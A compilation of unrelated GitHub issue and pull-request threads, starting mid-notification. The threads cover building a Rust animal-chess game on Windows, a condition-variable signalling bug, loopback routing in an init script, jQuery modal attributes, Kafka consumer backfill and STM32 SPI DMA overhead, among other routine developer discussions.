1522634423>, or unsubscribe
<https://github.com/notifications/unsubscribe-
auth/ABWKBAR62WBVWTZ6BKRGMHTXDB3HZANCNFSM6AAAAAAXLTO4RQ>.
You are receiving this because you authored the thread.Message ID:
@.***>

Thanks for getting back,
Closing this as resolved.


How to run this on (64bit) windows (7) ?

Good day, how can i run this interesting game under windows 7 (64bit) ?

for windows, see https://github.com/Rust-SDL2/rust-sdl2#windows-msvc
and
cargo build

Thank you for the answer, but i don't have enough space on C: left.
Can i install Rust without having to install the Windows 10 SDK to my system (C:) drive?

Thank you for the answer, but i don't have enough space on C: left.
Can i install Rust without having to install the Windows 10 SDK to my system (C:) drive?

you can choose Windows (MinGW) alternate way, it doesn't need msvc(windows sdk)

Firstly, thank you very much for this great implementation and your hard work, i finally managed to build and play with it! :)
Kudos.
I have re-partitioned my hard-disc drive (i moved a partition into a free space, with an external tool, and then extended the C: partition into the newly created free space).
Now my C: drive has ~90 GB capacity, thanks to being motivated by your great project (before this change it had only 40 GB, and i was unmotivated to change anything^^).
I was able to install the Visual C++ Build tools and the RustUp-installation, then i downloaded the SDL2-libs and copied those into their Rust-folder (this was all a learning process for me, too!), while trying to compile i got errors, because the install wasn't as easy, i had to manually move some SDL-files to their folders (after searching for their static libraries in the interwebs), but after some trial & error i could build the project and play some games! Yay! :)
I already found a weakness (bug?) in the engine: it attacked with its mouse, which i could capture, i guess it tried to achieve a tempo or a good attack position, but it seemed to suffer from horizon-effect, after that i was able to gain the upper hand and defeat it in my first game.
But the engine is quite good, if one takes into account that it only searches 7-8 plies/half-moves deep (as shown in the console).
Can i give it parameters to set its thinking/searching depth?

AnimalChess_x86-64_(depth7-8).zip
(i forgot to upload the executable, here it is, readily bundled with all needed windows-DLLs)
(its VT-report: https://www.virustotal.com/gui/file/24b08d75ae6735bd8751869caaa6aed15b9e488b0dc18921536017e3f396b490/detection )

I already found a weakness (bug?) in the engine: it attacked with its mouse, which i could capture, i guess it tried to achieve a tempo or a good attack position, but it seemed to suffer from horizon-effect, after that i was able to gain the upper hand and defeat it in my first game.

https://github.com/netcan/AnimalChess/blob/master/core/src/player/alpha_beta.rs#L47
here is strategy file, each chess has weight needs adjust.

But the engine is quite good, if one takes into account that it only searches 7-8 plies/half-moves deep (as shown in the console).
Can i give it parameters to set its thinking/searching depth?

Max depth sets to 100, but it limits in time: 500ms, you can adjust time.
https://github.com/netcan/AnimalChess/blob/master/core/src/player/alpha_beta.rs#L221

Thank you for your kind help :)
You might be interested into this subreddit: https://www.reddit.com/r/DouShouQi
There i put all DSQ-links i found on the web. And i also posted download links for new executables of your great engine.
(eg. this updated zipfile, which now contains 3 versions of your great engine: AnimalChess_win64.zip )

Found a weird bug: it sometimes declares its own win, when repeating a position for the third time.
Normally, a repetition is either:

a draw (remis) , or
illegal by rule , or
a loss for the causing side
or be avoided by the AI engine
But never a win for the player who causes it.

Found a weird bug: it sometimes declares its own win, when repeating a position for the third time.
Normally, a repetition is either:

a draw (remis) , or
illegal by rule , or
a loss for the causing side
or be avoided by the AI engine
But never a win for the player who causes it.

there is a special rule to prevent game loop forever. you can simply modify check_win to disable it.
https://github.com/netcan/AnimalChess/blob/master/core/src/board.rs#L202

我按照这个库 https://github.com/Rust-SDL2/rust-sdl2#windows-msvc教程来做，还是编译出错，so sad!

我按照这个库 https://github.com/Rust-SDL2/rust-sdl2#windows-msvc 教程来做，还是编译出错，so sad!

msvc不行还有mingw方案...你也可以用这个人预编译好的包，不过是斗兽棋版本。

没，我这边要多少更改下，所以不会用他编译好的程序，我是想通过js调用rust代码来实现和cocos creator结合在一起。我也是无奈的选择，我的rust基础仅仅是初步了解，我对go更加熟悉
---Original---
From: @.>
Date: Sun, Aug 29, 2021 09:42 AM
To: @.>;
Cc<EMAIL_ADDRESS>Subject: Re: [netcan/AnimalChess] How to run this on (64bit) windows (7) ? (#3)
我按照这个库 https://github.com/Rust-SDL2/rust-sdl2#windows-msvc 教程来做，还是编译出错，so sad!
msvc不行还有mingw方案...你也可以用这个人预编译好的包，不过是斗兽棋版本。
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.

你的象棋我终于编译通过后，才发觉没ai的...，然后我来编译这个斗兽棋：结果出现这个错误，之前的象棋我都可以运行过了，为什么这个就不能过呢？很奇怪，hub主可以给点建议吗？如下图：

你的象棋我终于编译通过后，才发觉没ai的...，然后我来编译这个斗兽棋：结果出现这个错误，之前的象棋我都可以运行过了，为什么这个就不能过呢？很奇怪，hub主可以给点建议吗？如下图：

检查一下你clone下来的rust-sdl2目录是不是空的。用下面的命令重新clone下。
git clone --depth=1 --recursive https://github.com/netcan/AnimalChess.git

非常感谢您的及时帮助，我稍后尝试
---Original---
From: @.>
Date: Sun, Aug 29, 2021 20:27 PM
To: @.>;
Cc<EMAIL_ADDRESS>Subject: Re: [netcan/AnimalChess] How to run this on (64bit) windows (7) ? (#3)
你的象棋我终于编译通过后，才发觉没ai的...，然后我来编译这个斗兽棋：结果出现这个错误，之前的象棋我都可以运行过了，为什么这个就不能过呢？很奇怪，hub主可以给点建议吗？如下图：
检查一下你clone下来的rust-sdl2目录是不是空的。用下面的命令重新clone下。
git clone --depth=1 --recursive https://github.com/netcan/AnimalChess.git
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.

你的象棋我终于编译通过后，才发觉没ai的...，然后我来编译这个斗兽棋：结果出现这个错误，之前的象棋我都可以运行过了，为什么这个就不能过呢？很奇怪，hub主可以给点建议吗？如下图：

检查一下你clone下来的rust-sdl2目录是不是空的。用下面的命令重新clone下。
git clone --depth=1 --recursive https://github.com/netcan/AnimalChess.git

可以的，终于成功了，研究了你的项目3天，好艰辛的说，比go真的麻烦太多了。。之后我会在你的2个项目补全这些东西，希望能帮助到后来的人。目前你的象棋没ai，确实有点遗憾，后期我研究好算法后补上，但是这个算法真的不简单，，，

千辛万苦终于在win10跑起来了，参考链接：https://www.cnblogs.com/kileyi/p/11375216.html
开发库下载：https://www.libsdl.org/projects/
自行fan墙

建议hub主采用这个gui库：https://github.com/hecrj/iced，才没这么多艰难的依赖

编译后将AnimalChess\target\debug\animal_chess.exe复制到AnimalChess目录下即可执行，尚不知能否在别人电脑执行，可能需要上面介绍到的其他东西，待验证

经过测试可以在别人电脑运行


Important synchronization issue

it will miss notification in "os_cond_signal" while "os_cond_wait_internal" updating "korp_cond.wait_list_lock" or there isn't a thread is waiting. windows platform.

Hi, yes, but it really requires preparation for os_cond_wait to start waiting the notification. Is there any idea from you? Thanks.

append a "count" field in "korp_cond" which indicates the missed signal count.
increase "count" when "thread_wait_list" is null in os_cond_signal.
check "count" before waiting in os_cond_wait_internal.
maybe it work.

or limit the ”count” in 0,1.

1.platform_internal.h
typedef struct korp_cond {
korp_mutex wait_list_lock;
os_thread_wait_list thread_wait_list;
int signaled;
}
2.win_thread.c!os_cond_init
cond->thread_wait_list = NULL;
cond->signaled = FALSE;
3.win_thread.c!os_cond_wait_internal
os_mutex_lock(&cond->wait_list_lock);
if (cond->signaled) {
node = NULL;
cond->signaled = FALSE;
}
else {
...
}
os_mutex_unlock(&cond->wait_list_lock);
if (!node) { return BHT_OK; }
4.win_thread.c!os_cond_signal
if (cond->thread_wait_list)
os_sem_signal(&cond->thread_wait_list->sem);
else
cond->signaled = TRUE;

maybe the patch work.

Hi, there may be issue for this patch: the signal thread sets cond->signaled to true and expects the waiting thread to directly return when it detects that its cond->signaled is set to true, but suppose that the waiting thread doesn't call os_cond_wait immediately, instead, it does something for some time (e.g. a loop or sleep(5)), and then calls os_cond_wait the cond, is it correct to return directly in this situation?
My understanding of your concern is that appending the wait node to the end of wait node list may take some time:
        /* Add to end of wait list */
        os_thread_wait_node *p = cond->thread_wait_list;
        while (p->next)
            p = p->next;
        p->next = node;

Maybe we can refine the code to append the node quickly, is it OK for you?

It does not affect the execution of any thread. you just treat the cond as a state.

appending the wait node is correct because of the mutex.

@wenyongh any plan to fix the issue?

@qianyimao Sure, I submitted PR #1853 to refine the related operations, could you help review and test it?

this did not resolve the issue.reason of issue is that function os_cond_signal doesn’t change state of cond.

@wenyongh

@qianyimao Do you mean to apply the patch as you proposed before which adds signaled flag to the cond? Wondering why set signaled to true when cond_signal, and check it in cond_wait/cond_timedwait? It may cause unexpected behavior.
The manual of pthread_cond_signal mentions that
The pthread_cond_broadcast() and pthread_cond_signal() functions shall have no effect if there are no threads currently blocked on cond.

For the app below, the normal behavior is that the current thread is blocked by pthread_cond_wait, but if your patch is applied, per my understanding, it won't be blocked by pthread_cond_wait since the signaled flag is set to true by pthread_cond_signal, and then pthread_cond_wait returns directly when finding signaled is true:
#include <stdio.h>
#include <pthread.h>

int main(int argc, char **argv)
{
    pthread_mutex_t mutex;
    pthread_cond_t cond;

    pthread_mutex_init(&mutex, NULL);
    pthread_cond_init(&cond, NULL);

    pthread_mutex_lock(&mutex);
    printf("##cond signal\n");
    pthread_cond_signal(&cond);
    pthread_mutex_unlock(&mutex);

    pthread_mutex_lock(&mutex);
    printf("##cond wait\n");
    pthread_cond_wait(&cond, &mutex);
    pthread_mutex_unlock(&mutex);

    printf("##return\n");
    return 0;
}

@wenyongh  i misunderstood the usage of pthread_cond_t. it isn't singal safe.
the unsafe leads a other issue, i will describe it at next issue.
no patch needed for this.

remove PR https://github.com/bytecodealliance/wasm-micro-runtime/pull/1853 please


bulma: fix theme issues caused by forcing bulma's dark theme when using default-dark theme

I thought it wasn't supposed to load the dark theme files at all after 0e09eca, but apparently it does anyway if you force it (79cfbf4), and it causes some unintended side effects, mostly to do with text color on various pages. On the other hand, not forcing it seems to cause other unintended side effects on some configurations (#3), so forcing it on and then fixing the problems seems like the best solution.

Actually, now that I look at it that makes sense. I didn't disable the bulma dark mode in dark.scss, only light.scss. tehe


Add purpose & maturity options to the schema anonymizer

It's valuable to have some details about an anonymized schema that has been contributed to Adelphi, for example, purpose and maturity level.
We should allow for these command-line options such that the user can enter this information when running the script.
The values would be commented annotations in the beginning of the CQL file.
┆Issue is synchronized with this Asana task by Unito

We should probably include an annotation for cluster and node sizes.


Can you please provide it on ios

Describe your suggested feature
Please upload a ios version
Other details
No response
Acknowledgements

[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open issue.
[X] I have written a short but informative title.
[X] If this is an issue with an extension, I should be opening an issue in the extensions repository.
[X] I have updated the app to version <IP_ADDRESS>.
[X] I will fill out all of the requested information in this form.

Not going to happen
Use "NineAnimator"


fix: Updating the ramp link for Enterprise features to open the pricing page

Description
Updating the ramp link for Enterprise features to open the pricing page.
Fixes #30211
Automation
/ok-to-test<EMAIL_ADDRESS>:mag: Cypress test results

[!CAUTION]
If you modify the content in this section, you are likely to disrupt the CI result for your PR.

Summary by CodeRabbit

New Features

Enhanced the Provisioning Upgrade page and Authentication settings to support enterprise-level configurations.
Updated the upgrade mechanism to differentiate between standard and enterprise users.

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true

/build-deploy-preview skip-tests=true


configure maven-compiler-plugin for Java 8

The SegmentAssignmentPolicy uses Long.remainderUnsigned()
        return (int) Long.remainderUnsigned(u,size);

That function was introduced in Java 8
However, the POM has the maven-compiler-plugin configured with source and target for Java 7
<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-compiler-plugin</artifactId>
    <version>3.5.1</version>
    <configuration>
      <compilerArgs>
        <arg>-Xlint</arg>
      </compilerArgs>
      <failOnError>true</failOnError>
      <showDeprecation>true</showDeprecation>
      <debug>${compile.debug.symbols.flag}</debug>
      <fork>true</fork>
      <source>1.7</source>
      <target>1.7</target>
    </configuration>
</plugin>

The MLCP Documentation says that users need Java 8 or later:
https://docs.marklogic.com/guide/mlcp/install#id_44231

Oracle/Sun Java JRE 1.8 or later.

The maven-compiler-plugin should be configured for Java 1.8:
https://maven.apache.org/plugins/maven-compiler-plugin/examples/set-compiler-source-and-target.html

@abika5 @yunzvanessa I think this can be closed now that Java 11 is required?

@hansenmc @rjrudin , As a part of DBI-393, this has been finished. We have upgraded the source and target to 11.


init.d/loopback: drop scope on loopback

Busybox does not support the 'scope' argument on 'ip address add' or 'ip
route add', this is documented in BUSYBOX.md, but is no longer actually
needed, as the kernel does get it right without manual specification,
and the ifconfig variant already relies on the kernel to get it right.
X-Gentoo-Bug: 487208
X-Gentoo-Bug-URL: https://bugs.gentoo.org/show_bug.cgi?id=487208
Signed-off-by: Robin H. Johnson<EMAIL_ADDRESS>

Can we drop the explicit route while we're at it?  The kernel should be automatically adding that route already.

Yes, we can drop it as well, if we're ok with it being just in the local routing table, rather than the main routing table.

@robbat2 @dwfreed Does it matter which routing table the loopback route is in? If not I'll remove the explicit route in a separate commit.

@dwfreed
we need to check if it's safe to drop the explicit route on BSD.
On Linux it's safe because the implicit route has a much higher priority.

It should not, because more specific routes always take precedence over less specific routes (so an explicit 'default via ' doesn't take precedence over the 127/8 route for lo0

I still need an update from the *bsd side. Thanks much.

I fail to see how this change is going to affect the BSD's at all.  The BSD's do not use ip addr.  They would use this block which I see no changes to.
ifconfig lo <IP_ADDRESS> netmask <IP_ADDRESS>
route add -net <IP_ADDRESS> netmask <IP_ADDRESS> gw <IP_ADDRESS>

@pkgdemon We're asking if we can drop the explicit route call in the BSD codepath too, and still have people that bind to things like <IP_ADDRESS>, etc, work.

I cannot speak for the other BSD distributions.  For FreeBSD 10.3, and higher if I start in single user mode to bypass /etc/rc:
``ifconfig up lo0```
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384
        options=600003<RXCSUM,TXCSUM,RXCSUM_IPV6,TXCSUM_IPV6>
        inet6 ::1 prefixlen 128
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2
        nd6 options=21<PERFORMNUD,AUTO_LINKLOCAL>

You can see it adds an ipv6 route but not an ipv4 route.
Internet6:
Destination        Gateway            Flags     Netif Expire
localhost          link#2             UH          lo0
fe80::feaa:14ff:fe link#1             UHS         lo0
fe80::%lo0/64      link#2             U           lo0
fe80::1%lo0        link#2             UHS         lo0

Issuing an ipv4 address by doing the following:
ifconfig lo0 <IP_ADDRESS> netmask <IP_ADDRESS>

Will add this route:
Internet:
Destination        Gateway            Flags     Netif Expire
localhost          link#2             UH          lo0

This is actually invalid for FreeBSD:
route add -net <IP_ADDRESS> netmask <IP_ADDRESS> gw <IP_ADDRESS>

It has to be:
route add -net <IP_ADDRESS>/8 <IP_ADDRESS>

This will add:
Internet:
Destination        Gateway            Flags     Netif Expire
yournet          localhost             UGS          lo0

To summarise I don't think route add -net <IP_ADDRESS> netmask <IP_ADDRESS> gw <IP_ADDRESS> in the case of FreeBSD is needed at all.  The inet6 routing is added just by bringing the interface up.  The inet routing is added just by issuing ifconfig lo <IP_ADDRESS> netmask <IP_ADDRESS> alone.

@pkgdemon Alright, thanks, I'll just drop it there, too, then.

(Closing PR as Robin's changes have been merged)


add space after period

hi @chris-martinelli thanks for filing this, the change was addressed in #1605!


Poetry migration

Poetry will slowly transition away from the dev-dependencies notation which will soon be deprecated, so it’s advised to migrate your existing development dependencies to the new group notation.

When I add a new dependency, it has this issue.

@picklelo I open this issue for yesterday's discussion.


Update of path_provider to ^2.0.1

The update of the package should solve this issue:
https://github.com/luanpotter/audioplayers/issues/781

This was fixed by @wolfenrain 's PR that I just merged.


Getting clicked element's attributes

Is there a way to pull the clicked element's attributes (such as custom data attributes, or the href, for instance) into the modaal ?
I've tried $(this) inside before_open but it returns null.

Hi @jelewis8,
One way to do this is like so:
var my_link = $('.my-link');

my_link.modaal({
    before_open: function() {
        my_link.data('foo');
        // or
        my_link.attr('href');
    },
    after_open: function() {
        my_link.data('bar');
    }
})```

This only works for individual instances.
If you have multiple instances ('.clickthis'), this only picks up the first
instance on the page.
Of course, this is fine if you're using IDs but it's not so great if you
don't have that option.
On Sun, Nov 15, 2020 at 7:36 PM danodm<EMAIL_ADDRESS>wrote:

Hi @jelewis8 https://github.com/jelewis8,
One way to do this is like so:
var my_link = $('.my-link');
my_link.modaal({
before_open: function() {
my_link.data('foo');
// or
my_link.attr('href');
},
after_open: function() {
my_link.data('bar');
}})```
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/humaan/Modaal/issues/135#issuecomment-727668272, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAGCTOXIPICH6XFGUPKII3LSQBXYFANCNFSM4TU7VUBA
.

--
-Jeremiah

@jelewis8 Correct. There are a number of ways you could approach this similarly to fetch those attributes. I don't believe this is an issue with Modaal at all, but something for you to establish in the rest of your javascript.

@danodm that makes sense, but I sure wish you were in the mood to show an example of a solution. : ). Will share whatever I come up with... once I've solved it.

@jelewis8 Here's what I have come up with
$('.info-popup').on('click', function() {
    var unique_id = $(this).data('unique_id');
    return $(this).modaal({
        after_open: function(ev){
            console.log(unique_id);
        },
    start_open: true
    });
});

What I'm doing is binding the clicked object to the modaal function, using jQuery's on method.

Ohhhh, that is clever--and I've never seen it done in this way before (I'm
not a JS wiz so maybe this is common).
I'm going to give that a try.
On Tue, Nov 17, 2020 at 10:20 AM Mike iLL Kilmer<EMAIL_ADDRESS>wrote:

@jelewis8 https://github.com/jelewis8 Here's what I have come up with
$('.info-popup').on('click', function() {
var unique_id = $(this).data('unique_id');
return $(this).modaal({
after_open: function(ev){
console.log(unique_id);
},
start_open: true
});
});
What I'm doing is bind
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/binding
the clicked object to the modaal function, using jQuery's on
https://api.jquery.com/on/ method.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/humaan/Modaal/issues/135#issuecomment-728998175, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAGCTOTD2OE5XDAZSTN2DRDSQKICFANCNFSM4TU7VUBA
.

--
-Jeremiah

@jelewis8 I think the cleverness is on behalf of the creators of Javascript (and, I guess jQuery).

That is fair! Still, it's amazing when you see it, it feels so obvious, but
it would not (was not) obvious before seeing it. Happy to always be
learning new techniques.
On Tue, Nov 17, 2020 at 10:26 AM Mike iLL Kilmer<EMAIL_ADDRESS>wrote:

@jelewis8 https://github.com/jelewis8 I think the cleverness is on
behalf of the creators of Javascript (and, I guess jQuery).
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/humaan/Modaal/issues/135#issuecomment-729002312, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAGCTOWXZFWV6DSCBND36CTSQKI2PANCNFSM4TU7VUBA
.

--
-Jeremiah

I've fixed it like this:
<a href="#" class="pop" url="https://google.com"> </a>
$('.pop').on('click', function () {
	var url = $(this).attr('url');
	return $(this).modaal({
		type: 'iframe',
		content_source: url,
	});
});


modify yolov3 loss to get better detect result

i met issue that nothing or very limited objects were detected with fine tune weights, after 2 or 80 epochs. since i used coco 2014 dataset, I made a big mistake that the box value of 2014 is: y1, x1, y2, x2. After change to x1, y1, x2, y2, the major problem fixed.
but i was confused that why only limited objects were detected even the box value is misaligned after 80 epochs. and part of loss code also confuse me. So i make some changes on yolov3 tf2 project. it seems to me that it work better. Hope it can help other members to solve their similar issue.
The result is tested on 5th epoch with lr(1e-4), batch_size(16):
Origin result:

New result:

You can notice that the confidence level of new result is much better than origin result.
if anything i misunderstand, please correct me. thanks

Hi this is interesting change. The current implementation is true to yolov3 paper. Could you separate your custom version out as a different optional loss function? I am happy with including different implementations but i think the default one shouldn't have custom optimizations

The giou might not be necessary, but i do have two questions. hope you can help me to understand.
Any reason we should not use with_logit=True when we use cross_entropy loss? The differentials of cross_entropy functions without sigmoid might create unstable result.

And why not to use pred_box instead pred_xywh for box loss? it seems that pred_box is easier to understand and also reduce loss computation.
thanks.

I think we can not use GIoU only for choosing  the best IoU.
Could we use GIoU directly as a loss function?

@w19787 thanks. The amended loss works well for my use case too.


Quantize multiplier

@1033Forest said in #5:

I am thinking of more quantizations based on speed mod.
Halved noteskin, makes it look like you are playing at double BPM.
Thirdsed: Regular quantizations, but removes triplet colors (12th=red, 24th=blue, 48th=yellow). This will make it look like playing at 3x BPM.
Quartered: 4th-16th red, 24th and 48th green, 32nd blue, 64th yellow. Looks like playing at 4x BPM.

This feature might not compatible with #7.

https://github.com/hanubeki/noteskin-hanubeki/commit/88066810fd1a0389a84fe157dc87ceda8112e8b8
https://github.com/hanubeki/noteskin-hanubeki/commit/f76b7e365576295c2d17567dc804feeb990151da

Close this after you verified behavior, @1033Forest.

https://github.com/hanubeki/noteskin-hanubeki/commit/e4bff702591b9b9e639e7233f30a7b9fc0c7a793

Another quantize multiplier: Semi Halved
Same as halved but leaves 24ths and 48ths intact
4th = 4th
8th = 4th
12th = 12th
16th = 8th
24th = 24th
32nd = 16th
48th = 48th
64th = 32nd
96th = 96th
192nd = 192nd

#22


Integrate #3 of team #1

I'm a little bit confused why black test is failing, because when I run black --check everything is fine. I already checked for the right version of black.
Test failes in code of team #1 in "tests/attacks/class_test.py" and "tests/metrics/test_accuracy.py".

Black works now. Regarding the tests: we see that you deleted them in your last sprint, but our last pull request was based on an older version and for some reason they were added again with our last PR. I'm assuming we can just delete them again?

@TobiasSchalau Hey, actualy both of the test that are failing don't exist in the current version of our branch anymore. They were at some time not needed anymore. I think you can savely delete them.
The class test was only for the interface, to see if everything works and the other test was integrated into basics_test.py witch is in team1sprint3 and will be merged when our PR #142 is merged

@Erdnaf thank you for the response. I deleted the tests, but there are still 2 tests with errors. Below yu can see a snip from pytest.

@Erdnaf thank you for the response. I deleted the tests, but there are still 2 tests with errors. Below yu can see a snip from pytest.

Hey, there i actualy dont know why taht is faling, maybe @jtorhoff from our tem can help?

@Erdnaf thank you for the response. I deleted the tests, but there are still 2 tests with errors. Below yu can see a snip from pytest.

Hey, there i actualy dont know why that is faling, maybe @jtorhoff from our team can help?

Looking through the logs shows a segfault: RuntimeError: DataLoader worker (pid 2877) is killed by signal: Segmentation fault.. My guess is that the tiny VM that runs the tests runs out of memory. Not sure why it doesn't happen with other pull requests, though. In any case I think we have to make our tests run on less data. Right now the tests need >15 min and sometimes up to half an hour.
 And once we reach this test it's impossible to allocate any more memory so the process is killed by the OS. That would be my guess.
@marisanest what's your take on this?

Hey maybe you could try to simplify the test_property_inference_attack. You could, for example, only use a subset of the dataset, because I tried to run it on my laptop and it took 20 mins. I'm quite sure it has something to do with the memory usage, as pytest keeps a lot of stuff in memory until the summary report is created at the end. I also didn't encounter the issue when I ran all the tests on my laptop.
We will also try to simplify our tests to avoid unnecessary resources usage.

Hey, thanks @jtorhoff for your detailed answer. I totally agree with your conclusion that the current memory usage is a problem. We should definitely investigate better ways to use the datasets (e.g. not initializing them over and over again or using the whole dataset for testing). I think we should also keep an eye on the size of the models we initialize for each test. These shouldn't be too big either and also should only be loaded once for all test.
In our current sprint branch team1sprint4 we introduced so-called fixtures. This could be a way to deal with it. @jtorhoff also open an issue for this testing problem here: #146. So please have a look @team2.


Edit/download buttons

Added download buttons to school tab, pupil characteristics tab, la trends both tabs and reason tab to match underlying data. Also changed style of datatables to dom = 't' where necessary. You may want to move the download buttons around or change naming to your preference.

On LA trends, the first download button tries to download the app rather than a csv?  On the second (maybe both) it should include numbers and rates.
On reason could the file be called 'area_exclusion_reason_data'


Benchmark Decents in the Search Tree

This PR adds a benchmark to measure the time it takes to descend in the search tree. The benchmarks are based on the criterion framework and measure the performance of a descent when generating code for GPUs.
We measure both decents with and without saving the encountered candidates to measure the impact of copies on the runtime. These benchmarks meant to measure the whole descent, individual benchmarks for specific telamon-gen features will later be needed but not part of this PR.
Fixes #7

A Criterion output is generated at target/criterion/
We can move it into target/doc for add this output to the gh-pages.
Criterion has a gnuplot feature, so, we can add it to the travis manifest like:
addons:
  packages:
      # Criterion's dependency Quickstart § https://github.com/japaric/criterion.rs/blob/master/README.md#quickstart
      - gnuplot

Creterion can comparure between two cargo bench the difference, with a integration continue we can compare the two last commits according to this solution https://github.com/japaric/criterion.rs/blob/master/book/src/faq.md#how-should-i-run-criterionrs-benchmarks-in-a-ci-pipeline by example

bors r+


[Installer][Improvement] Improvements for the setup completion page

Description:
In some setups, when the installation is completed it gives options such as to open the folder of the destination, open read me etc. Please see a sample attached here.

It's comprehensive if we can further guide the user by proving such options

The ReadMe file comes with the binary has info about building Ballerina from the source which is useless for someone who just got the binary version installed (this should be fixed).
What if we mention the BBE URL (https://ballerinalang.org/docs/by-example/) instead of opening the ReadMe?

+1 for mentioning the BBE URL. I think the latest URL is https://ballerina.io/learn/by-example/

Read me file now has been improved to redirect users to getting start and learn materials like BBE and BBG. Hence i am closing the issue.
[1] https://github.com/ballerina-platform/ballerina-lang/blob/master/distribution/zip/ballerina-tools/README.md


Clarify that pnpm link is needed to install the package globally

WHere do you BuildIT? I can link to it, sure. BUT where is that file to link MisterCOLLina..🤔

IDon’tGETIT.👍


start-latest + backfill-earliest mode

This is an attempt to address https://github.com/linkedin/Burrow/issues/459, although with a slightly different technique than described there.
The basic idea is to run with start-latest=true, but in parallel we also consume with start-latest=false. That doesn't introduce any new way of getting offsets, the only difficulty is how to combine the offsets from both sources. But since we already have a known ordering (the offset of the commit in the __consumer_offsets topic), that's not too difficult.
Note: It's probably best to review per-commit, since the overall diff ended up quite large due to type changes.
Main changes:

We insert offsets into the consumer offset ring according to their order, rather than always appending. Commits that are older than every stored commit are dropped
When we're inserting historical commits, we can't calculate lag since we don't know the historical broker offset. This means those offset entries get a nil lag
(when enabled) we start a second consumer, which consumes each position up until the initial high water mark (queried when burrow starts up)

Benefits:

we'll see new commits as soon as they happen, so active consumers will quickly report the latest values
we'll still notice stopped consumers (eventually), once we finish backfilling and observe that their last commit was too far in the past

Inaccuracies:

During backfill, we may have some historic commits and also some new commits. This gives an exaggerated "commit window", but will get more accurate as backfilling progresses.

Storing a nil lag isn't ideal, but the evaluation rules still mostly work (with a reduced accuracy). And these nil lags will only stick around until the consumer has made enough commits (since burrow started) to fill up the buffer.

New config:

backfill-earliest: (defaults to false): When both this setting and start-latest are true, the backfill behaviour added in this PR is enabled.

Breaking changes:
Consumer offset records (e.g. start / end for a consumer detail response) returned in JSON responses are no longer guaranteed to have a lag value.
Future work:
When enabled, the code now has a good idea of when it's "caught up" - once all backfill consumers have finished. It should be possible to expose this in the HTTP api, e.g. for use in a kubernetes readiness check.

Coverage decreased (-0.5%) to 74.079% when pulling 5125e2b98ceefda3c9ec8d949302fa2690a64856 on timbertson:backfill into 54e0aa088d2b1eccc4cfccf92ef66ca27f2c29c5 on linkedin:master.

Coming back to this after a bit of a pause: we're now running this branch ourselves, and seeing some nice reductions in the number and duration of false positives burrow reports on startup.
Here's some charts showing a restart of the current version (left), vs this PR (right). Based on the CPU you can see that it takes longer to complete the full backfill (since it's now processing new events in parallel), but the actual results are inaccurate for a shorter period. It reports fewer stopped partitions for less long, and the consumer lag spikes are just as high but recover much quicker:

👋 @bai I know this is a decent sized change, have you had a chance to look at it? If you have any questions about the implementation I'm happy to answer them.

LGTM, thanks 👍


(vue) - Fix Vue Suspense by making thenable reactive

Summary
This should fix the thenable in useQuery's Vue Suspense implementation by making it more reactive.
cc @LinusBorg

Awesome! Generally I made the watchers more verbose as I found it's easier to make it work this way first and I'm sure we can trim it back down later ✌
Good shout on the promise behaviour. I'm not sure if we do want to support a case where the source is a moving target as that could maybe lead to some gnarly looping behaviour when user code goes wrong, but generally I agree.
We can try to do that, yea


Add album-cover related gradients

This is most definitely a personal change, much like #23, but hey! I like colors and others might too. It does add a new dependency of colorthief, which is worth mentioning. Here's a gif preview :)

(It pulls colors from the album cover to make a palette for the song title, artist name, and eq bars)

It would be honestly better to use the placeholder image that is in the code there, but I am not 100% sure if colorthief will recognize b64

Feel free to omit changes since commit 836b7b4

Feel free to omit changes since commit 836b7b4
Edit: Those commit messages are horrifying... I-- I apologize. All I did was enable the status message, make that text gradient (of course), then hide EQ bars when not listening to music

That's cool, it'll be a squash merge. Don't want to play around with cherry-picking a range nor rebasing, so I'll roll out your personalized changes.
Thank you for the work involved!


SPI STM32 - DMA optimalization

Is your enhancement proposal related to a problem? Please describe.
I found timing problem with spi_ll_stm32 driver was used and DMA was enabled. The problem is, when the same amount of data needs to be transferred periodically with short period (transfer few bytes every new transfer in few tens of us). I mean, that issue is there, when the time for initialization takes longer that DMA transfer itself.
transceive_dma() is developed in the way that SPI and DMA is always initialized from the scratch which takes time and it is not needed to do it when the same amount of data are going to transfer - spi_dma_move_buffers() takes ~20 us @ CPU=168MHz.
Describe the solution you'd like
Solution will be, that driver knows if initialization needs to be done inside or not. User can do initialization only once.
I tried to fix it, but there is still room to improve it.
spi_dma_performance_nucleo_32f429zi
Describe alternatives you've considered
NA
Additional context
NA

@paveldedourek-eaton Thanks for reporting this. If you have a solution, would you be able to push a PR directly?

@erwango My code is not tested and even this, is not correctly implemented from the entire system point of view. There is missing function/parameter which tell to the DMA, that next time, initialization can be skipped. Function spi_transceive() does not have such parameter. I guess, the driver needs other function which can configure it. We cannot use init/config function, because you can decide it in runtime that which SPI transactions needs every time DMA init or which does NOT need it.

@teburd By any chance, in the latests DMA evolutions, is there any solution to address this ?

if I'm understanding the issue, at the moment each time spi_transcieve() is called, and for every normalized tx/rx/txrx (lengths are equal) dma_config() is done under the assumption that an entirely new transfer needs to be setup. dma_config() in this setup is considered costly.
dma_reload() could possibly be used here in place of re-configuring entirely, there's no requirement that dma_config() be called every time before dma_start(). You could go so far as to only call dma_config() and dma_start() once for all time, and forever more call dma_reload in this case it seems.
Would dma_reload() be enough in this case?

@paveldedourek-eaton Any feedback on above suggestion ?


make AbstractJackson2HttpMessageConverter /Jackson2JsonMessageConverter more extensible for XML mappings

